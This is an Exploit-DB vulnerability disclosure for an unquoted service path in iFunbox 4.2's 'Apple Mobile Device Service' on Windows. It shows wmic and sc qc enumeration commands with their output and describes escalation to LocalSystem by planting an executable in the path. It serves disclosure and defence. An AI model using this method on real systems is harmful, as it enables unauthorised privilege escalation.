iFunbox 4.2 – ‘Apple Mobile Device Service’ Unquoted Service Path

  • 作者: Julio Aviña
    日期: 2021-06-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50040/
  • # Exploit Title: iFunbox 4.2 - 'Apple Mobile Device Service' Unquoted Service Path
    # Date: 2021-06-18
    # Exploit Author: Julio Aviña
    # Vendor Homepage: https://www.i-funbox.com/en/index.html
    # Software Link: https://www.i-funbox.com/download/ifunbox_setup_4.2.exe
    # Version: 4.2
    # Service File Version: 486.0.2.23
    # Tested on: Windows 10 Pro x64 es 
    # Vulnerability Type: Unquoted Service Path
    
    
    # 1. To find the unquoted service path vulnerability
    
    C:\>wmic service where 'name like "%Apple Mobile Device Service%"' get displayname, pathname, startmode, startname
    
    DisplayNamePathNameStartModeStartName
    Apple Mobile Device ServiceC:\Program Files (x86)\i-Funbox DevTeam\Mobile Device Support\AppleMobileDeviceService.exeAuto LocalSystem
    
    # 2. To check service info:
    
    C:\>sc qc "Apple Mobile Device Service"
    [SC] QueryServiceConfig CORRECTO
    
    NOMBRE_SERVICIO: Apple Mobile Device Service
    TIPO : 10WIN32_OWN_PROCESS
    TIPO_INICIO: 2 AUTO_START
    CONTROL_ERROR: 1 NORMAL
    NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\i-Funbox DevTeam\Mobile Device Support\AppleMobileDeviceService.exe
    GRUPO_ORDEN_CARGA:
    ETIQUETA : 0
    NOMBRE_MOSTRAR : Apple Mobile Device Service
    DEPENDENCIAS :
    NOMBRE_INICIO_SERVICIO: LocalSystem
    
    
    # 3. Exploit:
    
    A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application.
    When restarting the service or the system, the inserted executable will run with elevated privileges.